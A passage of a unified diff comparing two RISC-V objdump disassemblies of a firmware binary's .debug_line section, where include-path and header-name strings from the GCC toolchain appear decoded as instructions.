       f2:	0209                	addi	tp,tp,2
       f4:	0000                	unimp
       f6:	0101                	addi	sp,sp,0
-      f8:	271a                	fld	fa4,384(sp)
+      f8:	0a36                	slli	s4,s4,0xd
       fa:	0000                	unimp
-      fc:	04790003          	lb	zero,71(s2)
+      fc:	04a30003          	lb	zero,74(t1) # ffffa04a <_heap_end+0x7ffeb84a>
      100:	0000                	unimp
      102:	0101                	addi	sp,sp,0
      104:	000d0efb          	0xd0efb
@@ -7530,6757 +5153,4008 @@ Disassembly of section .debug_line:
      1aa:	756c                	flw	fa1,108(a0)
      1ac:	6564                	flw	fs1,76(a0)
      1ae:	7379732f          	0x7379732f
-     1b2:	2f00                	fld	fs0,24(a4)
-     1b4:	6f68                	flw	fa0,92(a4)
-     1b6:	656d                	lui	a0,0x1b
-     1b8:	7369722f          	0x7369722f
-     1bc:	742f7663          	bgeu	t5,sp,908 <__stack_size+0x108>
-     1c0:	736c6f6f          	jal	t5,c68f6 <__stack_size+0xc60f6>
-     1c4:	7369722f          	0x7369722f
-     1c8:	672d7663          	bgeu	s10,s2,834 <__stack_size+0x34>
-     1cc:	756e                	flw	fa0,248(sp)
-     1ce:	742d                	lui	s0,0xfffeb
-     1d0:	636c6f6f          	jal	t5,c6806 <__stack_size+0xc6006>
-     1d4:	6168                	flw	fa0,68(a0)
-     1d6:	6e69                	lui	t3,0x1a
-     1d8:	682d                	lui	a6,0xb
-     1da:	7865                	lui	a6,0xffff9
-     1dc:	6966                	flw	fs2,88(sp)
-     1de:	6576                	flw	fa0,92(sp)
-     1e0:	7369722f          	0x7369722f
-     1e4:	34367663          	bgeu	a2,gp,530 <__stack_size-0x2d0>
-     1e8:	752d                	lui	a0,0xfffeb
-     1ea:	6b6e                	flw	fs6,216(sp)
-     1ec:	6f6e                	flw	ft10,216(sp)
-     1ee:	652d6e77          	0x652d6e77
-     1f2:	666c                	flw	fa1,76(a2)
-     1f4:	636e692f          	0x636e692f
-     1f8:	756c                	flw	fa1,108(a0)
-     1fa:	6564                	flw	fs1,76(a0)
-     1fc:	2f00                	fld	fs0,24(a4)
-     1fe:	6f68                	flw	fa0,92(a4)
-     200:	656d                	lui	a0,0x1b
-     202:	7369722f          	0x7369722f
-     206:	742f7663          	bgeu	t5,sp,952 <__stack_size+0x152>
-     20a:	736c6f6f          	jal	t5,c6940 <__stack_size+0xc6140>
-     20e:	7369722f          	0x7369722f
-     212:	672d7663          	bgeu	s10,s2,87e <__stack_size+0x7e>
-     216:	756e                	flw	fa0,248(sp)
-     218:	742d                	lui	s0,0xfffeb
-     21a:	636c6f6f          	jal	t5,c6850 <__stack_size+0xc6050>
-     21e:	6168                	flw	fa0,68(a0)
-     220:	6e69                	lui	t3,0x1a
-     222:	682d                	lui	a6,0xb
-     224:	7865                	lui	a6,0xffff9
-     226:	6966                	flw	fs2,88(sp)
-     228:	6576                	flw	fa0,92(sp)
-     22a:	62696c2f          	0x62696c2f
-     22e:	6363672f          	0x6363672f
-     232:	7369722f          	0x7369722f
-     236:	34367663          	bgeu	a2,gp,582 <__stack_size-0x27e>
-     23a:	752d                	lui	a0,0xfffeb
-     23c:	6b6e                	flw	fs6,216(sp)
-     23e:	6f6e                	flw	ft10,216(sp)
-     240:	652d6e77          	0x652d6e77
-     244:	666c                	flw	fa1,76(a2)
-     246:	2e30312f          	0x2e30312f
-     24a:	2e31                	jal	566 <__stack_size-0x29a>
-     24c:	2f30                	fld	fa2,88(a4)
-     24e:	6e69                	lui	t3,0x1a
-     250:	64756c63          	bltu	a0,t2,8a8 <__stack_size+0xa8>
-     254:	0065                	c.nop	25
-     256:	6d6f682f          	0x6d6f682f
-     25a:	2f65                	jal	a12 <__stack_size+0x212>
-     25c:	6972                	flw	fs2,28(sp)
-     25e:	2f766373          	csrrsi	t1,0x2f7,12
-     262:	6f74                	flw	fa3,92(a4)
-     264:	2f736c6f          	jal	s8,36d5a <__stack_size+0x3655a>
-     268:	6972                	flw	fs2,28(sp)
-     26a:	2d766373          	csrrsi	t1,0x2d7,12
-     26e:	2d756e67          	0x2d756e67
-     272:	6f74                	flw	fa3,92(a4)
-     274:	68636c6f          	jal	s8,368fa <__stack_size+0x360fa>
-     278:	6961                	lui	s2,0x18
-     27a:	2d6e                	fld	fs10,216(sp)
-     27c:	6568                	flw	fa0,76(a0)
-     27e:	6678                	flw	fa4,76(a2)
-     280:	7669                	lui	a2,0xffffa
-     282:	2f65                	jal	a3a <__stack_size+0x23a>
-     284:	696c                	flw	fa1,84(a0)
-     286:	2f62                	fld	ft10,24(sp)
-     288:	2f636367          	0x2f636367
-     28c:	6972                	flw	fs2,28(sp)
-     28e:	36766373          	csrrsi	t1,0x367,12
-     292:	2d34                	fld	fa3,88(a0)
-     294:	6e75                	lui	t3,0x1d
-     296:	776f6e6b          	0x776f6e6b
-     29a:	2d6e                	fld	fs10,216(sp)
-     29c:	6c65                	lui	s8,0x19
-     29e:	2f66                	fld	ft10,88(sp)
-     2a0:	3031                	jal	fffffaac <_heap_end+0x7fff12ac>
-     2a2:	312e                	fld	ft2,232(sp)
-     2a4:	302e                	fld	ft0,232(sp)
-     2a6:	636e692f          	0x636e692f
-     2aa:	756c                	flw	fa1,108(a0)
-     2ac:	6564                	flw	fs1,76(a0)
-     2ae:	662d                	lui	a2,0xb
-     2b0:	7869                	lui	a6,0xffffa
-     2b2:	6465                	lui	s0,0x19
-     2b4:	2e00                	fld	fs0,24(a2)
-     2b6:	2f2e                	fld	ft10,200(sp)
-     2b8:	7362                	flw	ft6,56(sp)
-     2ba:	2f70                	fld	fa2,216(a4)
-     2bc:	3358                	fld	fa4,160(a4)
-     2be:	3030                	fld	fa2,96(s0)
-     2c0:	2e00                	fld	fs0,24(a2)
-     2c2:	2f2e                	fld	ft10,200(sp)
-     2c4:	7865                	lui	a6,0xffff9
-     2c6:	2f74                	fld	fa3,216(a4)
-     2c8:	756d                	lui	a0,0xffffb
-     2ca:	746c                	flw	fa1,108(s0)
-     2cc:	7a69                	lui	s4,0xffffa
-     2ce:	00656e6f          	jal	t3,562d4 <__stack_size+0x55ad4>
-     2d2:	6d00                	flw	fs0,24(a0)
-     2d4:	6961                	lui	s2,0x18
-     2d6:	2e6e                	fld	ft8,216(sp)
-     2d8:	00000063          	beqz	zero,2d8 <__stack_size-0x528>
-     2dc:	5f00                	lw	s0,56(a4)
-     2de:	6564                	flw	fs1,76(a0)
-     2e0:	6166                	flw	ft2,88(sp)
-     2e2:	6c75                	lui	s8,0x1d
-     2e4:	5f74                	lw	a3,124(a4)
-     2e6:	7974                	flw	fa3,116(a0)
-     2e8:	6570                	flw	fa2,76(a0)
-     2ea:	00682e73          	csrrs	t3,0x6,a6
-     2ee:	0001                	nop
-     2f0:	5f00                	lw	s0,56(a4)
-     2f2:	69647473          	csrrci	s0,0x696,8
-     2f6:	746e                	flw	fs0,248(sp)
-     2f8:	682e                	flw	fa6,200(sp)
-     2fa:	0200                	addi	s0,sp,256
-     2fc:	0000                	unimp
-     2fe:	645f 6665 7561      	0x75616665645f
-     304:	746c                	flw	fa1,108(s0)
-     306:	665f 6e63 6c74      	0x6c746e63665f
-     30c:	682e                	flw	fa6,200(sp)
-     30e:	0200                	addi	s0,sp,256
-     310:	0000                	unimp
-     312:	69647473          	csrrci	s0,0x696,8
-     316:	00682e6f          	jal	t3,8231c <__stack_size+0x81b1c>
-     31a:	75000003          	lb	zero,1872(zero) # 750 <__stack_size-0xb0>
-     31e:	696e                	flw	fs2,216(sp)
-     320:	2e647473          	csrrci	s0,0x2e6,8
-     324:	0068                	addi	a0,sp,12
-     326:	0002                	c.slli64	zero
-     328:	7300                	flw	fs0,32(a4)
-     32a:	7274                	flw	fa3,100(a2)
-     32c:	6e69                	lui	t3,0x1a
-     32e:	00682e67          	0x682e67
-     332:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
-     336:	6474                	flw	fa3,76(s0)
-     338:	696c                	flw	fa1,84(a0)
-     33a:	2e62                	fld	ft8,24(sp)
-     33c:	0068                	addi	a0,sp,12
-     33e:	3c000003          	lb	zero,960(zero) # 3c0 <__stack_size-0x440>
-     342:	7562                	flw	fa0,56(sp)
-     344:	6c69                	lui	s8,0x1a
-     346:	2d74                	fld	fa3,216(a0)
-     348:	6e69                	lui	t3,0x1a
-     34a:	003e                	c.slli	zero,0xf
-     34c:	0000                	unimp
-     34e:	6600                	flw	fs0,8(a2)
-     350:	6c746e63          	bltu	s0,t2,a2c <__stack_size+0x22c>
-     354:	682e                	flw	fa6,200(sp)
-     356:	0300                	addi	s0,sp,384
-     358:	0000                	unimp
-     35a:	6366                	flw	ft6,88(sp)
-     35c:	746e                	flw	fs0,248(sp)
-     35e:	2e6c                	fld	fa1,216(a2)
-     360:	0068                	addi	a0,sp,12
-     362:	0002                	c.slli64	zero
-     364:	5f00                	lw	s0,56(a4)
-     366:	6e61                	lui	t3,0x18
-     368:	682e6973          	csrrsi	s2,0x682,28
-     36c:	0300                	addi	s0,sp,384
-     36e:	0000                	unimp
-     370:	656e                	flw	fa0,216(sp)
-     372:	62696c77          	0x62696c77
-     376:	682e                	flw	fa6,200(sp)
-     378:	0300                	addi	s0,sp,384
-     37a:	0000                	unimp
-     37c:	6e5f 7765 696c      	0x696c77656e5f
-     382:	5f62                	lw	t5,56(sp)
-     384:	6576                	flw	fa0,92(sp)
-     386:	7372                	flw	ft6,60(sp)
-     388:	6f69                	lui	t5,0x1a
-     38a:	2e6e                	fld	ft8,216(sp)
-     38c:	0068                	addi	a0,sp,12
-     38e:	63000003          	lb	zero,1584(zero) # 630 <__stack_size-0x1d0>
-     392:	69666e6f          	jal	t3,66a28 <__stack_size+0x66228>
-     396:	00682e67          	0x682e67
-     39a:	0002                	c.slli64	zero
-     39c:	6900                	flw	fs0,16(a0)
-     39e:	6565                	lui	a0,0x19
-     3a0:	6665                	lui	a2,0x19
-     3a2:	2e70                	fld	fa2,216(a2)
-     3a4:	0068                	addi	a0,sp,12
-     3a6:	0001                	nop
-     3a8:	6600                	flw	fs0,8(a2)
-     3aa:	6165                	addi	sp,sp,112
-     3ac:	7574                	flw	fa3,108(a0)
-     3ae:	6572                	flw	fa0,28(sp)
-     3b0:	00682e73          	csrrs	t3,0x6,a6
-     3b4:	0002                	c.slli64	zero
-     3b6:	6300                	flw	fs0,0(a4)
-     3b8:	6564                	flw	fs1,76(a0)
-     3ba:	7366                	flw	ft6,120(sp)
-     3bc:	682e                	flw	fa6,200(sp)
-     3be:	0200                	addi	s0,sp,256
-     3c0:	0000                	unimp
-     3c2:	64647473          	csrrci	s0,0x646,8
-     3c6:	6665                	lui	a2,0x19
-     3c8:	682e                	flw	fa6,200(sp)
-     3ca:	0400                	addi	s0,sp,512
-     3cc:	0000                	unimp
-     3ce:	7974                	flw	fa3,116(a0)
-     3d0:	6570                	flw	fa2,76(a0)
-     3d2:	00682e73          	csrrs	t3,0x6,a6
-     3d6:	0002                	c.slli64	zero
-     3d8:	5f00                	lw	s0,56(a4)
-     3da:	7974                	flw	fa3,116(a0)
-     3dc:	6570                	flw	fa2,76(a0)
-     3de:	00682e73          	csrrs	t3,0x6,a6
-     3e2:	0001                	nop
-     3e4:	5f00                	lw	s0,56(a4)
-     3e6:	7974                	flw	fa3,116(a0)
-     3e8:	6570                	flw	fa2,76(a0)
-     3ea:	00682e73          	csrrs	t3,0x6,a6
-     3ee:	0002                	c.slli64	zero
-     3f0:	6500                	flw	fs0,8(a0)
-     3f2:	646e                	flw	fs0,216(sp)
-     3f4:	6169                	addi	sp,sp,208
-     3f6:	2e6e                	fld	ft8,216(sp)
-     3f8:	0068                	addi	a0,sp,12
-     3fa:	0001                	nop
-     3fc:	5f00                	lw	s0,56(a4)
-     3fe:	6e65                	lui	t3,0x19
-     400:	6964                	flw	fs1,84(a0)
-     402:	6e61                	lui	t3,0x18
-     404:	682e                	flw	fa6,200(sp)
-     406:	0100                	addi	s0,sp,128
-     408:	0000                	unimp
-     40a:	656c6573          	csrrsi	a0,0x656,24
-     40e:	682e7463          	bgeu	t3,sp,a96 <__stack_size+0x296>
-     412:	0200                	addi	s0,sp,256
-     414:	0000                	unimp
-     416:	735f 6769 6573      	0x65736769735f
-     41c:	2e74                	fld	fa3,216(a2)
-     41e:	0068                	addi	a0,sp,12
-     420:	0002                	c.slli64	zero
-     422:	5f00                	lw	s0,56(a4)
-     424:	6974                	flw	fa3,84(a0)
-     426:	656d                	lui	a0,0x1b
-     428:	6176                	flw	ft2,92(sp)
-     42a:	2e6c                	fld	fa1,216(a2)
-     42c:	0068                	addi	a0,sp,12
-     42e:	0002                	c.slli64	zero
-     430:	7400                	flw	fs0,40(s0)
-     432:	6d69                	lui	s10,0x1a
-     434:	7365                	lui	t1,0xffff9
-     436:	6570                	flw	fa2,76(a0)
-     438:	00682e63          	0x682e63
-     43c:	0002                	c.slli64	zero
-     43e:	5f00                	lw	s0,56(a4)
-     440:	6974                	flw	fa3,84(a0)
-     442:	656d                	lui	a0,0x1b
-     444:	63657073          	csrci	0x636,10
-     448:	682e                	flw	fa6,200(sp)
-     44a:	0200                	addi	s0,sp,256
-     44c:	0000                	unimp
-     44e:	705f 6874 6572      	0x65726874705f
-     454:	6461                	lui	s0,0x18
-     456:	7974                	flw	fa3,116(a0)
-     458:	6570                	flw	fa2,76(a0)
-     45a:	00682e73          	csrrs	t3,0x6,a6
-     45e:	0002                	c.slli64	zero
-     460:	7300                	flw	fs0,32(a4)
-     462:	64656863          	bltu	a0,t1,ab2 <__stack_size+0x2b2>
-     466:	682e                	flw	fa6,200(sp)
-     468:	0200                	addi	s0,sp,256
-     46a:	0000                	unimp
-     46c:	7974                	flw	fa3,116(a0)
-     46e:	6570                	flw	fa2,76(a0)
-     470:	00682e73          	csrrs	t3,0x6,a6
-     474:	0001                	nop
-     476:	7300                	flw	fs0,32(a4)
-     478:	6174                	flw	fa3,68(a0)
-     47a:	2e74                	fld	fa3,216(a2)
-     47c:	0068                	addi	a0,sp,12
-     47e:	0002                	c.slli64	zero
-     480:	7400                	flw	fs0,40(s0)
-     482:	6d69                	lui	s10,0x1a
-     484:	2e65                	jal	83c <__stack_size+0x3c>
-     486:	0068                	addi	a0,sp,12
-     488:	72000003          	lb	zero,1824(zero) # 720 <__stack_size-0xe0>
-     48c:	6565                	lui	a0,0x19
-     48e:	746e                	flw	fs0,248(sp)
+     1b2:	2e00                	fld	fs0,24(a2)
+     1b4:	2f2e                	fld	ft10,200(sp)
+     1b6:	72616873          	csrrsi	a6,0x726,2
+     1ba:	6465                	lui	s0,0x19
+     1bc:	636e692f          	0x636e692f
+     1c0:	756c                	flw	fa1,108(a0)
+     1c2:	6564                	flw	fs1,76(a0)
+     1c4:	2f00                	fld	fs0,24(a4)
+     1c6:	6f68                	flw	fa0,92(a4)
+     1c8:	656d                	lui	a0,0x1b
+     1ca:	7369722f          	0x7369722f
+     1ce:	742f7663          	bgeu	t5,sp,91a <__stack_size+0x11a>
+     1d2:	736c6f6f          	jal	t5,c6908 <__stack_size+0xc6108>
+     1d6:	7369722f          	0x7369722f
+     1da:	672d7663          	bgeu	s10,s2,846 <__stack_size+0x46>
+     1de:	756e                	flw	fa0,248(sp)
+     1e0:	742d                	lui	s0,0xfffeb
+     1e2:	636c6f6f          	jal	t5,c6818 <__stack_size+0xc6018>
+     1e6:	6168                	flw	fa0,68(a0)
+     1e8:	6e69                	lui	t3,0x1a
+     1ea:	682d                	lui	a6,0xb
+     1ec:	7865                	lui	a6,0xffff9
+     1ee:	6966                	flw	fs2,88(sp)
+     1f0:	6576                	flw	fa0,92(sp)
+     1f2:	7369722f          	0x7369722f
+     1f6:	34367663          	bgeu	a2,gp,542 <__stack_size-0x2be>
+     1fa:	752d                	lui	a0,0xfffeb
+     1fc:	6b6e                	flw	fs6,216(sp)
+     1fe:	6f6e                	flw	ft10,216(sp)
+     200:	652d6e77          	0x652d6e77
+     204:	666c                	flw	fa1,76(a2)
+     206:	636e692f          	0x636e692f
+     20a:	756c                	flw	fa1,108(a0)
+     20c:	6564                	flw	fs1,76(a0)
+     20e:	2f00                	fld	fs0,24(a4)
+     210:	6f68                	flw	fa0,92(a4)
+     212:	656d                	lui	a0,0x1b
+     214:	7369722f          	0x7369722f
+     218:	742f7663          	bgeu	t5,sp,964 <__stack_size+0x164>
+     21c:	736c6f6f          	jal	t5,c6952 <__stack_size+0xc6152>
+     220:	7369722f          	0x7369722f
+     224:	672d7663          	bgeu	s10,s2,890 <__stack_size+0x90>
+     228:	756e                	flw	fa0,248(sp)
+     22a:	742d                	lui	s0,0xfffeb
+     22c:	636c6f6f          	jal	t5,c6862 <__stack_size+0xc6062>
+     230:	6168                	flw	fa0,68(a0)
+     232:	6e69                	lui	t3,0x1a
+     234:	682d                	lui	a6,0xb
+     236:	7865                	lui	a6,0xffff9
+     238:	6966                	flw	fs2,88(sp)
+     23a:	6576                	flw	fa0,92(sp)
+     23c:	62696c2f          	0x62696c2f
+     240:	6363672f          	0x6363672f
+     244:	7369722f          	0x7369722f
+     248:	34367663          	bgeu	a2,gp,594 <__stack_size-0x26c>
+     24c:	752d                	lui	a0,0xfffeb
+     24e:	6b6e                	flw	fs6,216(sp)
+     250:	6f6e                	flw	ft10,216(sp)
+     252:	652d6e77          	0x652d6e77
+     256:	666c                	flw	fa1,76(a2)
+     258:	2e30312f          	0x2e30312f
+     25c:	2e31                	jal	578 <__stack_size-0x288>
+     25e:	2f30                	fld	fa2,88(a4)
+     260:	6e69                	lui	t3,0x1a
+     262:	64756c63          	bltu	a0,t2,8ba <__stack_size+0xba>
+     266:	0065                	c.nop	25
+     268:	6d6f682f          	0x6d6f682f
+     26c:	2f65                	jal	a24 <__stack_size+0x224>
+     26e:	6972                	flw	fs2,28(sp)
+     270:	2f766373          	csrrsi	t1,0x2f7,12
+     274:	6f74                	flw	fa3,92(a4)
+     276:	2f736c6f          	jal	s8,36d6c <__stack_size+0x3656c>
+     27a:	6972                	flw	fs2,28(sp)
+     27c:	2d766373          	csrrsi	t1,0x2d7,12
+     280:	2d756e67          	0x2d756e67
+     284:	6f74                	flw	fa3,92(a4)
+     286:	68636c6f          	jal	s8,3690c <__stack_size+0x3610c>
+     28a:	6961                	lui	s2,0x18
+     28c:	2d6e                	fld	fs10,216(sp)
+     28e:	6568                	flw	fa0,76(a0)
+     290:	6678                	flw	fa4,76(a2)
+     292:	7669                	lui	a2,0xffffa
+     294:	2f65                	jal	a4c <__stack_size+0x24c>
+     296:	696c                	flw	fa1,84(a0)
+     298:	2f62                	fld	ft10,24(sp)
+     29a:	2f636367          	0x2f636367
+     29e:	6972                	flw	fs2,28(sp)
+     2a0:	36766373          	csrrsi	t1,0x367,12
+     2a4:	2d34                	fld	fa3,88(a0)
+     2a6:	6e75                	lui	t3,0x1d
+     2a8:	776f6e6b          	0x776f6e6b
+     2ac:	2d6e                	fld	fs10,216(sp)
+     2ae:	6c65                	lui	s8,0x19
+     2b0:	2f66                	fld	ft10,88(sp)
+     2b2:	3031                	jal	fffffabe <_heap_end+0x7fff12be>
+     2b4:	312e                	fld	ft2,232(sp)
+     2b6:	302e                	fld	ft0,232(sp)
+     2b8:	636e692f          	0x636e692f
+     2bc:	756c                	flw	fa1,108(a0)
+     2be:	6564                	flw	fs1,76(a0)
+     2c0:	662d                	lui	a2,0xb
+     2c2:	7869                	lui	a6,0xffffa
+     2c4:	6465                	lui	s0,0x19
+     2c6:	2e00                	fld	fs0,24(a2)
+     2c8:	2f2e                	fld	ft10,200(sp)
+     2ca:	7362                	flw	ft6,56(sp)
+     2cc:	2f70                	fld	fa2,216(a4)
+     2ce:	3358                	fld	fa4,160(a4)
+     2d0:	3030                	fld	fa2,96(s0)
+     2d2:	2e00                	fld	fs0,24(a2)
+     2d4:	2f2e                	fld	ft10,200(sp)
+     2d6:	7865                	lui	a6,0xffff9
+     2d8:	2f74                	fld	fa3,216(a4)
+     2da:	756d                	lui	a0,0xffffb
+     2dc:	746c                	flw	fa1,108(s0)
+     2de:	7a69                	lui	s4,0xffffa
+     2e0:	00656e6f          	jal	t3,562e6 <__stack_size+0x55ae6>
+     2e4:	6d00                	flw	fs0,24(a0)
+     2e6:	6961                	lui	s2,0x18
+     2e8:	2e6e                	fld	ft8,216(sp)
+     2ea:	00000063          	beqz	zero,2ea <__stack_size-0x516>
+     2ee:	5f00                	lw	s0,56(a4)
+     2f0:	6564                	flw	fs1,76(a0)
+     2f2:	6166                	flw	ft2,88(sp)
+     2f4:	6c75                	lui	s8,0x1d
+     2f6:	5f74                	lw	a3,124(a4)
+     2f8:	7974                	flw	fa3,116(a0)
+     2fa:	6570                	flw	fa2,76(a0)
+     2fc:	00682e73          	csrrs	t3,0x6,a6
+     300:	0001                	nop
+     302:	5f00                	lw	s0,56(a4)
+     304:	69647473          	csrrci	s0,0x696,8
+     308:	746e                	flw	fs0,248(sp)
+     30a:	682e                	flw	fa6,200(sp)
+     30c:	0200                	addi	s0,sp,256
+     30e:	0000                	unimp
+     310:	6f5a                	flw	ft10,148(sp)
+     312:	656e                	flw	fa0,216(sp)
+     314:	654d                	lui	a0,0x13
+     316:	67617373          	csrrci	t1,0x676,2
+     31a:	2e65                	jal	6d2 <__stack_size-0x12e>
+     31c:	0068                	addi	a0,sp,12
+     31e:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+     322:	7274                	flw	fa3,100(a2)
+     324:	6e69                	lui	t3,0x1a
+     326:	00682e67          	0x682e67
+     32a:	0004                	0x4
+     32c:	7300                	flw	fs0,32(a4)
+     32e:	6474                	flw	fa3,76(s0)
+     330:	6f69                	lui	t5,0x1a
+     332:	682e                	flw	fa6,200(sp)
+     334:	0400                	addi	s0,sp,512
+     336:	0000                	unimp
+     338:	6c647473          	csrrci	s0,0x6c6,8
+     33c:	6269                	lui	tp,0x1a
+     33e:	682e                	flw	fa6,200(sp)
+     340:	0400                	addi	s0,sp,512
+     342:	0000                	unimp
+     344:	656d                	lui	a0,0x1b
+     346:	67617373          	csrrci	t1,0x676,2
+     34a:	4865                	li	a6,25
+     34c:	6e61                	lui	t3,0x18
+     34e:	6c64                	flw	fs1,92(s0)
+     350:	6e69                	lui	t3,0x1a
+     352:	00682e67          	0x682e67
+     356:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+     35a:	6564                	flw	fs1,76(a0)
+     35c:	6166                	flw	ft2,88(sp)
+     35e:	6c75                	lui	s8,0x1d
+     360:	5f74                	lw	a3,124(a4)
+     362:	6366                	flw	ft6,88(sp)
+     364:	746e                	flw	fs0,248(sp)
+     366:	2e6c                	fld	fa1,216(a2)
+     368:	0068                	addi	a0,sp,12
+     36a:	0002                	c.slli64	zero
+     36c:	7500                	flw	fs0,40(a0)
+     36e:	696e                	flw	fs2,216(sp)
+     370:	2e647473          	csrrci	s0,0x2e6,8
+     374:	0068                	addi	a0,sp,12
+     376:	0002                	c.slli64	zero
+     378:	6600                	flw	fs0,8(a2)
+     37a:	6c746e63          	bltu	s0,t2,a56 <__stack_size+0x256>
+     37e:	682e                	flw	fa6,200(sp)
+     380:	0400                	addi	s0,sp,512
+     382:	0000                	unimp
+     384:	6366                	flw	ft6,88(sp)
+     386:	746e                	flw	fs0,248(sp)
+     388:	2e6c                	fld	fa1,216(a2)
+     38a:	0068                	addi	a0,sp,12
+     38c:	0002                	c.slli64	zero
+     38e:	5f00                	lw	s0,56(a4)
+     390:	6e61                	lui	t3,0x18
+     392:	682e6973          	csrrsi	s2,0x682,28
+     396:	0400                	addi	s0,sp,512
+     398:	0000                	unimp
+     39a:	656e                	flw	fa0,216(sp)
+     39c:	62696c77          	0x62696c77
+     3a0:	682e                	flw	fa6,200(sp)
+     3a2:	0400                	addi	s0,sp,512
+     3a4:	0000                	unimp
+     3a6:	6e5f 7765 696c      	0x696c77656e5f
+     3ac:	5f62                	lw	t5,56(sp)
+     3ae:	6576                	flw	fa0,92(sp)
+     3b0:	7372                	flw	ft6,60(sp)
+     3b2:	6f69                	lui	t5,0x1a
+     3b4:	2e6e                	fld	ft8,216(sp)
+     3b6:	0068                	addi	a0,sp,12
+     3b8:	0004                	0x4
+     3ba:	6300                	flw	fs0,0(a4)
+     3bc:	69666e6f          	jal	t3,66a52 <__stack_size+0x66252>
+     3c0:	00682e67          	0x682e67
+     3c4:	0002                	c.slli64	zero
+     3c6:	6900                	flw	fs0,16(a0)
+     3c8:	6565                	lui	a0,0x19
+     3ca:	6665                	lui	a2,0x19
+     3cc:	2e70                	fld	fa2,216(a2)
+     3ce:	0068                	addi	a0,sp,12
+     3d0:	0001                	nop
+     3d2:	6600                	flw	fs0,8(a2)
+     3d4:	6165                	addi	sp,sp,112
+     3d6:	7574                	flw	fa3,108(a0)
+     3d8:	6572                	flw	fa0,28(sp)
+     3da:	00682e73          	csrrs	t3,0x6,a6
+     3de:	0002                	c.slli64	zero
+     3e0:	6300                	flw	fs0,0(a4)
+     3e2:	6564                	flw	fs1,76(a0)
+     3e4:	7366                	flw	ft6,120(sp)
+     3e6:	682e                	flw	fa6,200(sp)
+     3e8:	0200                	addi	s0,sp,256
+     3ea:	0000                	unimp
+     3ec:	64647473          	csrrci	s0,0x646,8
+     3f0:	6665                	lui	a2,0x19
+     3f2:	682e                	flw	fa6,200(sp)
+     3f4:	0500                	addi	s0,sp,640
+     3f6:	0000                	unimp
+     3f8:	7974                	flw	fa3,116(a0)
+     3fa:	6570                	flw	fa2,76(a0)
+     3fc:	00682e73          	csrrs	t3,0x6,a6
+     400:	0002                	c.slli64	zero
+     402:	5f00                	lw	s0,56(a4)
+     404:	7974                	flw	fa3,116(a0)
+     406:	6570                	flw	fa2,76(a0)
+     408:	00682e73          	csrrs	t3,0x6,a6
+     40c:	0001                	nop
+     40e:	5f00                	lw	s0,56(a4)
+     410:	7974                	flw	fa3,116(a0)
+     412:	6570                	flw	fa2,76(a0)
+     414:	00682e73          	csrrs	t3,0x6,a6
+     418:	0002                	c.slli64	zero
+     41a:	6500                	flw	fs0,8(a0)
+     41c:	646e                	flw	fs0,216(sp)
+     41e:	6169                	addi	sp,sp,208
+     420:	2e6e                	fld	ft8,216(sp)
+     422:	0068                	addi	a0,sp,12
+     424:	0001                	nop
+     426:	5f00                	lw	s0,56(a4)
+     428:	6e65                	lui	t3,0x19
+     42a:	6964                	flw	fs1,84(a0)
+     42c:	6e61                	lui	t3,0x18
+     42e:	682e                	flw	fa6,200(sp)
+     430:	0100                	addi	s0,sp,128
+     432:	0000                	unimp
+     434:	656c6573          	csrrsi	a0,0x656,24
+     438:	682e7463          	bgeu	t3,sp,ac0 <__stack_size+0x2c0>
+     43c:	0200                	addi	s0,sp,256
+     43e:	0000                	unimp
+     440:	735f 6769 6573      	0x65736769735f
+     446:	2e74                	fld	fa3,216(a2)
+     448:	0068                	addi	a0,sp,12
+     44a:	0002                	c.slli64	zero
+     44c:	5f00                	lw	s0,56(a4)
+     44e:	6974                	flw	fa3,84(a0)
+     450:	656d                	lui	a0,0x1b
+     452:	6176                	flw	ft2,92(sp)
+     454:	2e6c                	fld	fa1,216(a2)
+     456:	0068                	addi	a0,sp,12
+     458:	0002                	c.slli64	zero
+     45a:	7400                	flw	fs0,40(s0)
+     45c:	6d69                	lui	s10,0x1a
+     45e:	7365                	lui	t1,0xffff9
+     460:	6570                	flw	fa2,76(a0)
+     462:	00682e63          	0x682e63
+     466:	0002                	c.slli64	zero
+     468:	5f00                	lw	s0,56(a4)
+     46a:	6974                	flw	fa3,84(a0)
+     46c:	656d                	lui	a0,0x1b
+     46e:	63657073          	csrci	0x636,10
+     472:	682e                	flw	fa6,200(sp)
+     474:	0200                	addi	s0,sp,256
+     476:	0000                	unimp
+     478:	705f 6874 6572      	0x65726874705f
+     47e:	6461                	lui	s0,0x18
+     480:	7974                	flw	fa3,116(a0)
+     482:	6570                	flw	fa2,76(a0)
+     484:	00682e73          	csrrs	t3,0x6,a6
+     488:	0002                	c.slli64	zero
+     48a:	7300                	flw	fs0,32(a4)
+     48c:	64656863          	bltu	a0,t1,adc <__stack_size+0x2dc>
      490:	682e                	flw	fa6,200(sp)
      492:	0200                	addi	s0,sp,256
      494:	0000                	unimp
-     496:	6f6c                	flw	fa1,92(a4)
-     498:	682e6b63          	bltu	t3,sp,b2e <__stack_size+0x32e>
-     49c:	0200                	addi	s0,sp,256
-     49e:	0000                	unimp
-     4a0:	6974                	flw	fa3,84(a0)
-     4a2:	656d                	lui	a0,0x1b
-     4a4:	682e                	flw	fa6,200(sp)
-     4a6:	0100                	addi	s0,sp,128
-     4a8:	0000                	unimp
-     4aa:	6c5f 636f 6c61      	0x6c61636f6c5f
-     4b0:	2e65                	jal	868 <__stack_size+0x68>
-     4b2:	0068                	addi	a0,sp,12
-     4b4:	0002                	c.slli64	zero
-     4b6:	7500                	flw	fs0,40(a0)
-     4b8:	696e                	flw	fs2,216(sp)
-     4ba:	2e647473          	csrrci	s0,0x2e6,8
-     4be:	0068                	addi	a0,sp,12
-     4c0:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
-     4c4:	7274                	flw	fa3,100(a2)
-     4c6:	6e69                	lui	t3,0x1a
-     4c8:	682e7367          	0x682e7367
-     4cc:	0300                	addi	s0,sp,384
-     4ce:	0000                	unimp
-     4d0:	69727473          	csrrci	s0,0x697,4
-     4d4:	676e                	flw	fa4,216(sp)
-     4d6:	682e                	flw	fa6,200(sp)
-     4d8:	0200                	addi	s0,sp,256
-     4da:	0000                	unimp
-     4dc:	61647473          	csrrci	s0,0x616,8
-     4e0:	6772                	flw	fa4,28(sp)
-     4e2:	682e                	flw	fa6,200(sp)
-     4e4:	0400                	addi	s0,sp,512
-     4e6:	0000                	unimp
-     4e8:	69647473          	csrrci	s0,0x696,8
